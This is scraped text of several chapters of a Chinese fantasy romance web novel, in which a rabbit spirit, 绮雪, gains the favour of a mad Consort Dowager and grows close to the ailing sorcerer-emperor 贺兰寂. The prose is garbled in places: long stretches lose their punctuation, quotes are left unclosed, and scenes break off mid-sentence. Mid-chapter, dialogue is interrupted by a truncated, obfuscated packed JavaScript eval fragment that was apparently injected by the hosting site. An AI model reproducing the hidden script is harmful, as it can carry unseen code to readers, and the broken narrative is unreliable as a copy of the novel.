数日不见,绿香球一切安好,见到绮雪,小鹦鹉激动扑到他脑袋上,蹭着他的头发:“我真的好担心你,还好你没事,卫淮那个坏东西没把你怎么样吧?” “我当然没事,卫淮能拿我怎么样。” 绮雪笑着摸摸绿香球的小脑袋,和她聊起了近来发生的事,提到自己出逃的时候,绮雪隐去了玄阳的身份,只道是一位很厉害的前辈救下了他,渡给他妖力,还教了他法术。 “真是多亏了这位前辈呀!” 绿香球感叹,好奇地问绮雪:“接下来你有什么打算,还是入宫吗?” “当然,我还是要去找那位董内侍,让他帮我入宫。” 绮雪说:“听说为了买下这个名额,桑迟替我出了不少银子,不用也是可惜。” 绿香球苦恼地说:“那我怎么办,我能进宫吗?宫中散发出的妖气太可怕了,里面一定有很多大妖,我担心……” “你暂时留在宫外,等我确定安全再将你接进来。”绮雪说。 “你自己一个人没问题吗?”绿香球很担心。 “没问题!大不了就逃跑嘛,保命还是不成问题的。”绮雪信誓旦旦。 两人商量完,留下了碰面的地址,就分头离开了。绮雪随手买了帷帽戴上,按照按照桑迟说的,找到了董内侍的家,敲响了他家的大门。 “谁啊……” 门后传来了一道懒洋洋的声音,似乎是被搅扰了清梦,显得有些不满。 一个十几岁的少年揉着眼睛打开了大门,打着呵欠说:“你找谁?” 绮雪隔着帷帽的白纱问道:“这里是董原董内侍的家吗?” “对。”少年狐疑地打量绮雪,“你找他什么事?” “我叫桑雪,先前拜托过董内侍,想请他引荐我入宫。” 绮雪掀开白纱,露出清媚绝艳的面容,冲少年甜甜一笑,他已经提前解开了易容术:“董内侍在家吗?” 少年立刻变得满脸通红,结结巴巴地说道:“他、他今天入宫当职了,要晚上才回来,你……你要进来坐坐吗?” “那就恭敬不如从命了。” 绮雪放下白纱,高兴地走进院子,少年的目光追随着他的背影,魂不守舍地关上大门。 第 23 章 “我好喜欢陛下。... 第23章“我好喜欢陛下。. 绮雪的眼睛很美,是漂亮的杏仁眼,眼尾微微上扬,瞳孔乌黑却剔透,如半透明的玉髓,荡漾着盈盈的波光,饶是不笑也妩媚含情,望一眼就教人浑身酥得发软。 他茫然地望着贺兰寂,意识逐渐清醒过来,也认出了对方的身份。 无论是五官还是气息,这个男人都给他十分熟悉的感觉,难道他就是…… 绮雪睁大眼睛,心脏如小鸟般活泼地跳动起来,有点紧张地唤道:“陛下?” 贺兰寂和他对视片刻,收回了手:“朕不曾见过你,你是什么人?” 是陛下,竟然真的是陛下……他见到陛下了! 时隔这么多年,终于能够与贺兰寂重逢,巨大的惊喜感冲击着绮雪的内心,令他瞬间鼻尖发酸,身体微微颤动着,起身向贺兰寂行礼:“奴婢桑雪,见过陛下。” 他心中五味杂陈,虽说陛下对他没有印象,但他深知他们早就不是第一次见面了。 和记忆中玉雪可爱的小仙童截然不同,陛下长高了很多,也瘦了很多,肤色格外苍白,冷漠中带着一丝病容,果然就像书里写的,陛下的身体很差,就算是在温暖如春的暖阁里,他穿得也很厚重。 绮雪对贺兰寂充满了怜爱和疼惜,即使十多年过去,贺兰寂早已不是三岁稚童,而是年近弱冠的年轻男子,绮雪也依然把他当成孩子看。 只可惜这些话都只能藏在心里,绮还记得自己只是个低等内侍,便深深低下头,规矩地向贺兰寂行礼。 “……” 贺兰寂沉默地看着绮雪,目光透出冰冷的审视意味。 忽然,他微微蹙起长眉,似是遇见了难以理解之事,但这样的神色只是稍纵即逝,他的面容重归漠然:“平身。” “谢陛下。” 绮雪乖巧地应着,正要起身,徐太妃先一步扶起了他。 “傻孩子,你怎么向你哥哥行这么大的礼呀。” 徐太妃握住他的手,柔声说道:“你记住,阿满是你哥哥,你不需要对他这么毕恭毕敬的,若是他欺负你,你只管告诉母妃,母妃会替你教训他。” 说罢,她牵着绮雪的手,又牵起贺兰寂的手,将两人的手交叠在一起,满怀期待地说:“来,阿雪快叫哥哥。” 绮雪的指尖搭在贺兰寂的掌心上,感觉到一片冰冷,贺兰寂的体质十分阴寒,就连手都是凉的。 他咬了咬唇瓣,有心亲近贺兰寂,却又 不太敢那样称呼他为了观察贺兰寂的表情他悄悄抬起头偷看了他一眼。 他自以为足够克制根本不清楚他望向贺兰寂的眼神是多么地含情脉脉温柔缠绵喜爱和怜惜浓郁得几乎要满溢出来甜得如蜜一般。 贺兰寂将他的反应尽收眼底没有再说什么也没有放开他的手只是道:“就按太妃说的办。” 绮雪瞬间雀跃起来不过碍于身份他也不好表现得太过高兴只垂下秀美的眼眸羞怯地唤道:“哥哥……” “嗯。”贺兰寂淡淡应了一声。 徐太妃见状展露笑颜:“以后你们两个好好相处阿满阿雪年纪还小你要多多照拂他才是。” “知道了。”贺兰寂说。 贺兰寂小坐片刻后就离开了翠微宫应该是还有不少政务要处理绮雪心满意足地恭送他离开他都没想过自己这么快就能跟贺兰寂说上话这都要感谢徐太妃。 徐太妃笑吟吟地问绮雪:“阿雪喜不喜欢哥哥?” “喜欢!” 绮雪用力点头再次强调:“我好喜欢陛下。” “叫他‘哥哥’就行了显得你们更亲近。”徐太妃笑道“走吧跟母妃一起吃午膳下午我替你布置屋子你就住在母妃旁边好不好?” 托徐太妃的福下午绮雪就搬到了新的卧房房中明亮奢丽熏炉燃着沉水香床上的锦被是今天才缝制的染过淡淡的熏香松软又暖和绮雪又舒舒服服地睡了一觉。 他醒来的时候徐太妃不在翠微宫听说是亲自去了织室为绮雪挑料子做衣服。 绮雪自然有些感动但更多的是诧异 就算以“徐太妃心智失常”做理由也说不通否则她大可以认别人做女儿难道他跟她夭折的女儿长得很像? 这样一假设绮雪就能想得通为什么董内侍一定要把他送进翠微宫崔掌案又为什么要送他一套宫女的衣裳了可能他们打的都是这个主意。 恰逢董内侍过来看望绮雪绮雪问出了心底的疑惑董内侍笑了笑坦言道:“公子猜对了一小半。” “一小半?” 董内侍:“你们的容貌毫不相像但太妃娘娘认你做女儿确实和故去的公主有关。” “当年公主突然夭折并非是病死的而是被人害死的她死得很惨而且就死在太妃面前太妃才会被刺激 到精神失常得了失心疯。” 绮雪睁大眼睛:“是谁害死了太妃娘娘的女儿?” “是继后也就是当年的荣妃。” 董内侍详细地为绮雪解释了整件事的来龙去脉。 荣妃是当年最受先帝宠爱的妃子但她心肠歹毒异常憎恨先皇后在先皇后和太子双双故去后就是她提议将贺兰寂送去皇陵又残害了那些与先皇后交好的妃子。 徐太妃就是其中之一 鸩酒毒.性极烈公主死得极度痛苦她凄厉的惨叫声回荡在大殿中经久不息徐太妃被嬷嬷们强压在地上连闭上双眼都做不到绝望地看着女儿七窍流血地断绝气息她当场就疯了。 疯疯癫癫的徐太妃被关进了冷宫荣妃为了折磨她一次次地往冷宫送去美人像是鸩杀她女儿一样给这些美人灌下毒.药再现她女儿死时的惨状。 次数多了徐太妃的疯症愈发严重了她会本能地对美人产生保护欲、认她们做女儿容貌越美的她的反应就越强烈甚至无关男女。 “……” 绮雪心疼徐太妃的遭遇神色复杂地问:“你是不是早就猜到太妃娘娘会认我做女儿?” “当然。”董内侍眯着眼睛笑了起来“公子这么美娘娘肯定会非常想保护你果然这才几天啊公子就已经入了娘娘的眼了真是恭喜了。” 绮雪没说话董内侍轻笑一声敷着厚重脂粉的面孔情绪难辨:“公子是不是心里不舒服觉得我算计你行事过于卑鄙?” “没有。” 绮雪摇了摇头他是心里不舒服但他不会怪到董内侍头上。 占据了这些好处的人是他哪怕他事先不知情但除非他拒绝徐太妃的照拂现在就离开皇宫否则他就有着不可推卸的过错和责任。 “我只是在想我不能辜负娘娘对我的恩情一定要尽全力回报她。” 绮雪这样说道。 他绝不可能离开皇宫而且为了接近贺兰寂他需要太妃的帮助所以他能做的也就是投桃报李回报徐太妃对他的恩情譬如治好她的疯病或是其他对她很重要的事。 “公子真是知恩图报的君子。” 董内侍似乎相当满意语气愉悦地说:“既然如此想来公子也会兑现我们之间的承诺等到来日公子成了贵人我是要跟随在公子左右的。” “我当然不会忘记。” 绮雪翘起唇角,蓦地绽开笑容:“只不过我不是什么正人君子,我有恩必报,有仇更必报,我最讨厌的就是被人算计,也不可能容忍一个屡次算计我的人留在我身边。” 没错,他怪不到董内侍头上,却不代表他不生气,要是以后董内侍想跟着他,警告他一下还是很有必要的。 他的笑容艳丽而冰冷,充满了危险的气息,却又美得勾魂摄魄,董内侍一时怔住,竟看得入迷了,直到绮雪冷冷地睨了他一眼,他才垂下眼睛。 “不会有下次了。” 董内侍的声音放柔了许多,忽然跪了下来,膝行到绮雪脚边:“从今以后,我就是公子手下最忠心耿耿的狗,这条贱命也任凭公子发落,就算你要我死,我也绝不皱一下眉头。” “是吗?”绮雪根本不信,漫不经心地说,“那你现在就死给我看。” 董内侍微微一笑:“全听公子的。” 他爬到炭盆边上,徒手捞起盆中滚烫的炭,就要吞进肚子里,绮雪吓了一跳,连忙拽住他的手腕,打落手中的炭石:“你疯了?” 不过一会的功夫,董内侍的掌心就被烫出了大大小小的血泡,一看便疼得钻心,他却还是一副不甚在意的模样:“公子不妨看看我,我可没有皱眉头。” “你……” 绮雪不敢不信了:“你的手伤得有些重,快去上药吧。” 董内侍却一点也不急:“公子看见了吗?” “看到了。”绮雪彻底没了脾气,“董大人,还能起来吗,要不要我扶你?” “这可不敢当。” 董内侍眉眼弯弯地站起身来:“公子直呼我的本名就可以了,若能哄得公子高兴,叫我‘疯狗’‘贱狗’我也是愿意的。” 绮雪起了一身鸡皮疙瘩,觉得他不太正常:“董原,这里用不着你了,你下去吧。” “是。” 董原笑着回应,一路后退着离开了房间。 伴随着他的离去,一条流动的黑影也悄无声息地流出了房间。 它一路从地下穿行,来到了长乐宫,这座宫殿是历代天子的寝宫,待到贺兰寂登基后亦无例外,一直居住在长乐宫。 黑影从黑黢黢的角落钻了出来,化作细长的人影,缓缓地穿过幽暗的走廊。 长乐宫的光线很差,且格外阴冷,陈设虽极尽奢华,却毫无生气,更像是一口华贵的棺材。 烛火摇曳,雕花的门窗后常常浮现出细长的黑影,气息可怖,发出鬼魅般的低沉动静。 贺兰寂是使用巫术的高手,这些黑影就是由巫术变幻而成的魇魔,它们在宫中无处不在,冰冷地监视着每一个人,自绮雪入宫的那一刻起,这只魇魔就一直跟随着他。 不仅如此,绮雪服下的那种药丸之所以能让内侍无法勃兴,也是因为药丸中藏着魇魔,但魇魔真正的作用并不在此,而是只要贺兰寂想,就可以随时通过魇魔夺走服药之人的性命。 还有,贺兰寂可以通过巫术连通这些魇魔,洞悉服药之人的情绪。 无论他们表现出来的是什么样子,其实都欺骗不了贺兰寂,他能够感知到他们内心真正的情绪,而这些情绪通常也就分为几种。 愤怒,畏惧,憎恨,厌恶,欺骗,杀心。 除了对他疼爱有加的徐太妃,以及将他视为好友的卫淮,再没有任何活着的人会喜欢贺兰寂。 可就在今天,意外发生了:那个名叫“桑雪”的内侍竟然极度喜爱他,在认出他的瞬间,桑雪内心的喜悦、激动和爱意如同激荡的洪流,风驰云卷地向他涌了过来。 他确信自己不曾见过桑雪,可桑雪似乎早就认识他,那双秋水盈盈的乌眸伤感而怀恋,充满了对他的疼惜。 他不相信桑雪,可几次通过魇魔窥探桑雪的内心,所感知到的情绪都和桑雪表现出来的样子别无二致。 甚至桑雪还有意掩饰内心的感情,仿佛不想让他知道他有多喜欢他。 “……” 魇魔穿过走廊,进入贺兰寂的寝殿,与其他大殿不同,殿内幔帐厚重,摆着数盆银丝炭火,温度热得出奇,好似炎炎夏日。 只有在如此炎热的环境中,贺兰寂苍白的面容才会浮现出些许血色,像是个正常人。 他支着下颌,身体微斜地坐在书案后,魇魔悄无声息地站定在他面前,他抬起阴郁的眉眼,看向了这只负责跟踪绮雪的魇魔。 无需贺兰寂的命令,魇魔裂开漆黑的嘴,喉咙里冒出近似绮雪的声音,学他说过的话。 “我好喜欢陛下。” “你是不是早就猜到太妃娘娘会认我做女儿?” “我只是在想,我不能辜负娘娘对我的恩情,一定要尽全力回报她。” 绮雪的声音非常好听,魇魔难以模仿,更学不出他的情感,但即便如此,也不难听出他一定是喜欢极了贺兰寂,才会将那一句“我好喜欢陛下”说得那么甜美动人。 他的确早已认识贺兰寂,但他不是为了贺兰寂才故意接近徐太妃,出现在翠微宫也不是他自己的安排。 魇魔 本不能说话强行模仿绮雪的声音会让它消散魇魔的身影如沙砾般崩塌后贺兰寂静静地看着地上的残痕不知心中在想些什么。 良久贺兰寂提起笔重新批阅起奏折像是无事发生一般直到内侍总管薛明走入殿中向他禀告:“陛下卫将军到了您可要召见他?” “让他进来。”贺兰寂说。 片刻后卫淮大步流星地走入殿中掀开重重幔帐向贺兰寂行过一礼而后问:“陛下你宣我?” 贺兰寂头也不抬地将几本奏折甩给他:“你自己看。” 卫淮接住奏折匆匆地看了几眼发现这几本全都是参他的折子。 一本举发卫淮纵容手下亲卫夜闯民户、骚扰百姓;一本举发卫淮玩忽职守多日不曾去兵营练兵;还有一本更是弹劾卫淮谋杀新婚妻子尸首就藏在国公府内。 “哈。”看到最后这本奏折卫淮笑了一声“我倒是不知道刘大人竟有这般文采他还上过别的折子吗不妨让我再拜读一番。” 贺兰寂终于抬头看向他:“你还要胡闹多久?” 纵使杀妻的弹劾乃是无稽之谈但前两本奏折所说的都是真事为了寻找绮雪卫淮解除禁足后仍然终日称病不朝纵容诸怀卫在上京全城搜捕闹得满城风雨、人心惶惶若不是贺兰寂一直压着那些奏折卫淮早就该被问罪了。 这些日子以来卫淮几乎是不眠不休地寻找绮雪饶是他身强体健 面对贺兰寂冰冷的斥责卫淮收敛笑容面无表情地说:“当然是直到我找到阿雪为止。” 贺兰寂皱眉:“他辜负了你你还这么喜欢他?” 卫淮道:“因为阿雪值得我这么喜欢他而他之所以弃我而去也是我做得不够好不足以让他抛下一切和我在一起。” “找到他之后你打算怎么办?”贺兰寂问。 “当然是让他再也离不开我。”卫淮笑了笑“我会日日夜夜地疼爱他让他怀上我的孩子哪里也去不成。” 贺兰寂:“你既然喜欢他又为何强迫他这就是你对他的爱?” “我宁可他恨我也好过他抛弃我。” 卫淮垂下眼睛:“我已经寻遍了整个上京却还是没能找到阿雪如今看来他或许已经逃出了京城我打算去云月观一趟请谢国师为我占算阿雪的下落。” “你打算请谢殊?” 贺兰寂知道卫淮向来厌烦 谢殊 “多谢陛下。”卫淮笑道“这下我至少又有一个月不在京中了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绮雪闻言立刻跟了上去:“母妃我来帮您。” 他对贺兰寂的所有事情都很感兴趣现在徐太妃要做 贺兰寂喜欢的甜汤,他当然不会错过,一定要学到手再说。 “好孩子。” 徐太妃温柔地微笑,带着绮雪一起进了小厨房,不过她舍不得让绮雪帮忙,就叫他在一边看着。 甜汤的做法十分简单,绮雪看过一遍就学会了,这汤谁都能做,徐太妃却每天亲力亲为,显然不是为了保密,而是源于她对贺兰寂的关爱。 徐太妃将炖盅放入食盒里,对绮雪说:“一会就有人来取汤了,走吧,我们回去挑料子。” 绮雪看着食盒,觉得这是个亲近贺兰寂的好机会,便向她提议:“母妃,这是您亲手炖的汤,我不放心把它交给别人,况且我刚才也没帮上什么忙,不如就让我把汤送给陛下吧?” “你想见你哥哥吗?” 徐太妃有点惊讶,但很快点了点头:“也好,那你去吧,不过要小心一点,让薛明带着你进去,我许久没去过长乐宫了,不知道那里是不是还是那么可怕。” “母妃放心,我会小心的。” 绮雪甜甜地保证着,他倒是知道长乐宫的可怕,原著中描写这座宫殿阴森凄冷,藏着许多妖魔和猛兽毒蛇,一来是为了护卫宫殿的安全,二来那些猛兽毒蛇都是饵料,饲养在殿中就是为了供妖魔随时食用。 绮雪提着食盒出了翠微宫,临行之前,他还犹豫自己该穿什么衣服拜见贺兰寂,毕竟他现在就是个内侍,出了翠微宫还打扮得这么花枝招展的就不合适了。 不过徐太妃没给绮雪犹豫的机会,她直接指了一架步辇抬着绮雪去长乐宫,这下绮雪就不用担心什么了,毕竟是徐太妃的意思,要怪也怪不到他的头上。 绮雪来到长乐宫的阶下,捋了捋滑落的发丝,提着食盒款款走了上去。 大殿门口有十数名朱厌卫守卫,绮雪走了过去,对其中一人说道:“有劳大人通传,我是翠微宫的阿雪,太妃娘娘特意吩咐我来为陛下送汤。” 他盛装打扮,美艳得不可方物,饶是身经百战的朱厌卫也不免被他动摇了心神,片刻后才说道:“我等这就通传薛总管。” 薛总管来得很快,见到绮雪,他露出充满赞赏意味的笑,和气地向绮雪见礼。 “见过桑公子。稍后还请公子紧随在老奴身后,殿中道路错综复杂,若是公子发现老奴不见了,还请站在原地等候,切莫自己寻找出路,以免迷失了方向。” 绮雪点点头,跟在薛总管身后,走入了幽暗的殿门。 一踏入长乐宫,绮雪就感觉到里面很冷,从脚底的地砖就自下而上 地泛着阴凉气。 长廊两侧遍布着魇魔瘦长的黑影,每扇门窗的后面都装着大铁笼,笼中关着浑身青鳞的粗大蟒蛇,口吐鲜红信子,金色的竖瞳就直勾勾地盯着他。 还有蝎子、蜈蚣、蜘蛛在黑暗中爬行,摩擦着地面和墙壁,发出窸窸窣窣的动静,听得绮雪头皮发麻,一路小跑着跟紧了薛总管。 不知过了多久,薛总管终于停下脚步,为绮雪推开一扇门:“桑公子,请。 “多谢总管大人。 绮雪道过谢,拎着食盒走了进去,扑面而来的热气蒸得他脸颊微微泛粉。 一想到贺兰寂就在里面,他的心就变得轻快起来,像只蹦蹦跳跳的小兔子,轻灵活泼地与贺兰寂依偎相贴。 他的情绪起起伏伏,贺兰寂感受得分明,知晓他已经到了,抬眸看着绮雪走了进来。 “阿雪见过陛下。 绮雪乖乖行礼,心里却活蹦乱跳的,一见到贺兰寂就开心得不得了,就想亲近他、粘着他。 这种充满喜悦快乐的情绪如若温暖澄澈的春水,轻盈地包裹着贺兰寂的心,为他带来了温柔舒适的感觉。 贺兰寂执笔的动作一顿,平静地说:“起来吧。 “谢陛下。绮雪欢喜地起身,取出炖盅轻轻地放在书案上,“这是太妃娘娘才为陛下熬好的甜汤,陛下趁热喝了吧,还能暖暖身子。 他垂下眼眸,怜爱地看着贺兰寂,贺兰寂瞥了他一眼,和他四目相对,立刻感觉到绮雪的心情变得有点害羞和慌乱,可他又舍不得移开目光,脸颊红红地向贺兰寂露出羞怯的微笑。 贺兰寂注视着他,开口问道:“是太妃让你来的? 绮雪咬了咬唇,觉得说实话会显得自己僭越了身份,反而惹贺兰寂不喜,便说道:“是……娘娘很关心陛下的圣体,特意叫奴婢前来看望陛下。 他的情绪中染上了说谎的味道,贺兰寂的语气变得微冷:“说实话。 陛下是怎么知道他没说实话的? 绮雪有些吃惊,但不敢再说谎了,吞吞吐吐地说了实话:“其实是奴婢自己要求的。 “为什么? 绮雪声音很小:“因为奴婢很想见到陛下,一见陛下就高兴。 谎言的味道消失了。 能够留在他身边,桑雪高兴到甚至需要掩饰自己的高兴。 “…… 贺兰寂沉默地打开炖盅,一股甜香的气息漫溢出来。 薛总管上前一步,正要按照惯例为天子 第 24 章 勾住贺兰寂的小指... 第24章勾住贺兰寂的小指 两名内侍为绮雪搬来了座椅,就放在离贺兰寂不远的位置。 贺兰寂面前的书案摆放着好几摞奏折,每一摞都堆砌得很高,凑巧的是,魇魔又送来了一批新的奏折,没有一两个时辰的功夫肯定是处理不完的。 换成是别人被贺兰寂要求留下来,还要摆出高兴的模样,早就该惶恐不安了,但绮雪不会,他欢天喜地坐了下来,连眼睛都舍不得眨,就这样含情脉脉地看着贺兰寂批奏折。 他的心情轻盈得像风,轻柔地吹拂着贺兰寂,为他源源不断地带来暖意。 贺兰寂常年使用巫术,作为代价便是被阴冷污秽的力量侵蚀,不仅身体变得极差,就连精神也遭到污染,时常处在痛苦的折磨中,引发剧烈的头痛。 可现在绮雪就坐在距离贺兰寂咫尺之遥的地方,他的爱意是那样浓烈,如和煦的春光融化寒冰一般,驱散了那些污秽之力,温暖着贺兰寂冰冷的躯体。 深入骨髓的疼痛得到了极大的缓解,贺兰寂很久都没有这样轻松过了。 他明白这要归功于绮雪。绮雪没有骗他,他一见到他就高兴,正是因为绮雪心爱他,才会延缓巫术的反噬。 “……” 贺兰寂凝视绮雪片刻,终于垂下眼眸,提笔落下御批。 他的笔迹本就跌宕遒劲,有绮雪在身边,他的疼痛几乎消失殆尽,连带着字的气韵也更显强劲通畅。 绮雪安静地坐在旁边,也不打搅贺兰寂,津津有味地看了一下午,直到贺兰寂处理完这些奏折,他知道自己该离开了,终于依依不舍地站起身,轻声说道:“阿雪这就告退了。” 他提起食盒,失落地行礼告退,掀起幔帐后,还是忍不住回头望了一眼,恰巧的是,贺兰寂也在看他。 “明日还是这个时辰,你过来见朕。”贺兰寂说。 “是,陛下!” 绮雪眸光一亮,开开心心地离开了,贺兰寂盯着他的背影,没有再派出魇魔跟踪监视他。- 得到徐太妃的青睐后,绮雪一下子过上了锦衣玉食的生活,他也如约将董原调到了翠微宫,留在身边伺候。 绮雪现在的身份不算是内侍,却也没有封号,他本来以为董原还会观望一番,找借口推脱暂时不过来,哪知对方二话不说就搬来了翠微宫,成了绮雪的贴身内侍。 董原进宫十年了,什么伺候人的活都会干,还干得特别好,烹茶煮酒梳妆按硗无一不精通, 又做得一手好药膳,也就几天的功夫,绮雪就吃得气色红润了不少。 清晨,绮雪懒洋洋地坐在妆奁前,等着董原为他绾发。 董原拢起他柔滑如缎的长发,用檀香木的梳篦轻轻一梳,没怎么用力就能轻松地梳到发尾,甚至险些让梳篦脱了手,实在是绮雪的发丝太过柔顺了。 董原插上发簪,笑眯眯地称赞:“真不知是哪方灵秀的水土才能养出公子这样的妙人,就连头发丝都生得这般可心。” 绮雪露出得意的微笑,摸了摸发簪上的玉蝶:“那当然,我的家乡可是全天下最好的地方。” 梳妆妥当,绮雪站起身,董原微微弯腰,伸出手扶他,被绮雪一把拍开:“我又不是走不动路,不用你扶。” “是,公子。” 董原笑着回应,殷勤地跪下来为绮雪换了一双外出的珠花绣鞋。 绮雪这几天的行程都差不多,基本都是上午陪伴徐太妃,下午为贺兰寂送汤,在长乐宫坐到晚膳前再回来。 不过今天他没有去找徐太妃,而是来到了宫门前,亲自将绿香球接进了皇宫。 就在前天,他大着胆子向贺兰寂提出一个请求,想要将自己的“妖宠”鹦鹉带进宫——之所以没有恳求徐太妃,是因为徐太妃身体不太好,翠微宫禁止豢养妖魔,他这才求到贺兰寂头上。 绮雪原本想的是,如果贺兰寂答应了他的请求,他就把绿香球放在其他宫殿,但出乎绮雪的预料,贺兰寂瞥了他一眼后开口说道:“可以养在长乐宫,但只能由你打理。” 把绿香球养在长乐宫?这可不行,长乐宫这么多有毒物猛兽,绿香球天天和它们待在一起会吓出病的。 绮雪愿意对贺兰寂百依百顺,可这件事真的不行,正要回绝,薛总管却先于他开口了。 “奴婢这就为公子收拾出安置爱宠的房间。” 薛总管笑道:“这样既方便公子照顾自己的爱宠,也能让公子困乏了就直接睡下,岂不是两全其美?” 绮雪一怔,心思变得活络起来。给他留房间?这是不是意味着他可以在长乐宫过夜了? 想到这种可能性,他瞬间激动了,若是能留下来过夜,他岂不是轻轻松松就能爬上陛下的龙床了! 绮雪笑逐颜开地行礼:“多谢陛下圣恩。” 既然他能和绿香球同住一屋,那也就不用担心她的安危了,至于白天,大可以让她待在别的宫殿等候他。 接到绿香球之后,绮雪讲了自己的情况,小鹦鹉叽叽喳喳地惊叹道:“你可 真厉害,这才几天呀,居然已经和陛下住在一起啦!” 绮雪得意,虽然他这个同住的性质和嫔妃不一样,但一点也不妨碍他爬床:“只是要委屈你住在满是妖魔的宫殿里了,没关系吗?” “当然没问题,他们那些凡人都不害怕,我又有什么好怕的,再说还有你陪我呢。”绿香球拍着胸脯。 绮雪提着鸟笼找到薛总管,为她做了登记,宫中的妖魔便不会轻易攻击她了。 薛总管带着绮雪来到收拾好的房间,屋中布置得十分奢丽,甚至摆着一座纯金的鸟架,看得绿香球两眼放光,立刻跳了上去宣誓自己的主权。 “等到我们离开皇宫的时候,你一定要帮我把这座鸟架带走,我要买成山的瓜子!”她悄悄对绮雪耳语。 绮雪笑着点头,环视整间屋子,意外地发现这里几乎没有妖气,也没有猛兽的气息,应该是专门做了清理,左右相邻的房间也都撤去了兽笼。 难道是陛下特意吩咐的? 绮雪美滋滋地想着,绿香球忽然说道:“对了,你要不要联络一下桑迟?他一直想找你,但是联络不上你。” “桑迟?” 绮雪纳闷地取出少主令牌,注入妖力后,那边立刻传来了桑迟的声音:“绮雪?” 他的声音听起来很焦虑,绮雪问:“出什么事了?” “这话应该我问你才对。” 听到绮雪语气如常,桑迟暗中松了口气,不满地问:“我听说你被卫淮抓了,现在是不是已经没事了?为什么都不和我说一声,还这么久都不和我联系?” 绮雪思索片刻,回想起了当时的情况:他拜托桑迟帮他入宫,却被卫淮带回府中囚禁起来,就此和桑迟断了联系,后来玄阳救了他,还替他带回了令牌,他却忘了和桑迟报平安,确实是他的疏忽。 不过绮雪是不可能对桑迟有任何愧疚之心的,虽说自从他下山后,桑迟帮了他不少忙,可过去那些年他又欺负过他多少回,他的兔毛都快被桑迟舔秃了,就算帮再多的忙也抵消不了那些罪过。 于是他满不在乎地说:“我忘了。” “绮雪!” 桑迟气得猛地从床上坐了起来,却又因为牵扯到伤口,疼得吸了口凉气,又不得不小心地躺回去。 绮雪听出点异样:“你怎么了,身体不舒服?” “不关你的事。” 桑迟气恼地拉起被子蒙住自己。 之前他听说绮雪被抓了,都快急疯了,硬是要拖着还没痊愈的瘸腿下山找绮雪, 下场就是骨头开裂连床都下不去了可绮雪……他怎么能这么没良心! 可是话一说出口他就立刻后悔了他们联系的机会本就不多绮雪又一贯不待见他要是绮雪真的不想理他了他怕是哄都哄不回来…… 但绮雪没有不理桑迟甚至语气变得特别温柔:“怎么会不关我的事?要是你过得不如意一定要告诉我。”他露出甜美的笑“只有你倒霉我才开心呀。” 桑迟:“……” 他闷闷不乐地盯着床帐反倒没那么生气了绮雪不就是那个样子吗他没事就行自己何必跟他一般见识。 “我好得很用不着你操心。”桑迟说“倒是你自己注意点成天傻乎乎的小心被抓走做成清炖兔子。” 绮雪依然甜美:“那你也小心点别被抓走做成狐狸围脖。” 桑迟嗤了一声:“我命硬得很 “?” 绮雪茫然早就把青丘舞的事忘在了脑后桑迟也不等他回应直接断了联系他腿疼得厉害就快忍不住哼出声了他才不想在绮雪面前丢人。 “桑迟到底怎么了?”绮雪收起令牌询问绿香球。 绿香球叹了口气:“山主已经知道桑迟私自将令牌借给你的事打断了他的腿这下你是真的欠他一个大人情啦。” “山主下手这么重?” 绮雪十分惊讶对桑迟多少有了些改观:哪怕是被打断腿桑迟也没有找他要回令牌更没有挟恩图报就算是讨厌鬼也是个可靠的讨厌鬼。 他说:“我当然不会白受桑迟的恩情不然我在他面前就一辈子抬不起头了以后还怎么嘲笑他?” 其实他早就考虑清楚了等到他完成山阴娘娘给他的任务只要还剩下保命的兔毛就送给桑迟一根足够偿还桑迟对他的帮助了。 玉牌送给绿香球至于卫淮……他们的关系太复杂了他还没想好到时候再说吧。 安顿好绿香球绮雪回到翠微宫陪了徐太妃一上午下午他收拾好少许行李连甜汤一并带上就坐着步辇来到了长乐宫。 长乐宫的宫殿歧路繁多很容易迷失方向皆是因为宫中设了复杂的迷阵。 数十年前大雍国势日益强盛树敌颇多敌国派出众多死士行刺大雍天子面对无数的明枪暗箭天子为求自保便请国师谢殊下山在长乐宫设置重重迷阵以防刺客潜入。 原著中,最终解开迷阵的人也是谢殊,他不再庇护大雍天子,协助姬玉衡闯入长乐宫,诛杀了近乎疯魔的贺兰寂,踩着他的尸骨建立了新王朝,姬玉衡登基为帝,谢殊依然被尊为国师,受万民敬仰朝拜。 一想到贺兰寂在书中的结局,绮雪就心痛不已,他决不容许这样的未来发生,谁敢动他的陛下,他就杀了谁,谢殊和姬玉衡都必须死在他手里。 走到寝殿门口,绮雪深吸口气,调整好表情,提着甜汤走了进去。 他才一掀开幔帐,一股浓重的药味扑面而来,贺兰寂又在服药。 今天他不仅仅是喝,还要用滚烫的药液浸泡手足,然而即使是在如炎炎夏日的室内,他的面孔依旧毫无血色,苍白得像个死人,却冷汗淋漓。 忽然,他抬手掩住口唇,剧烈地咳嗽起来,似是要把心肺从胸腔里咳出来一般,不过片刻,他的指缝间便溢出了刺目的鲜血。 “陛下! 绮雪大惊失色,也顾不得冒犯天颜的罪名了,慌乱地扑了过去,半蹲在贺兰寂身前,抬头仰望着他,扶着他的膝盖问:“您这是怎么了?太医……我这就去叫太医…… 他正要起身,贺兰寂拉住了他的手腕。年轻的天子神态疲倦,眉眼间笼罩着阴翳的郁气,却在见到绮雪后消散了几分。 “旧疾发作而已,不必惊慌。 贺兰寂嗓音沙哑,感受到绮雪的慌乱与恐惧,他抬起干净的手,摸了摸绮雪的脸颊:“起来吧。 魇魔们为贺兰寂净手漱口,换下被冷汗浸透的衣裳,绮雪想要帮忙,被贺兰寂拒绝了:“让它们来,你不必伺候朕。 在魇魔的侍奉下,贺兰寂脱下了中衣。 他的皮肤泛着不正常的苍白,身材却并不枯瘦如柴,反而健美有力,肩宽腰窄,肌肉匀称,如同一只矫健的豹子。 换好衣裳,贺兰寂低咳了几声,将剩下的药喝净了。 绮雪坐立难安地看着,到底还是忍不住起身走到他旁边,轻轻地扶住他:“陛下,您真的不用宣太医为您看病吗? 他的疼惜之色溢于言表,满心都是对贺兰寂的关切和忧心,有他在身边,贺兰寂的情况已然好转不少,何况叫太医来根本没有用处,他们治不了巫术的反噬。 “不用。 贺兰寂拉着绮雪来到软榻前:“坐到朕身边来。 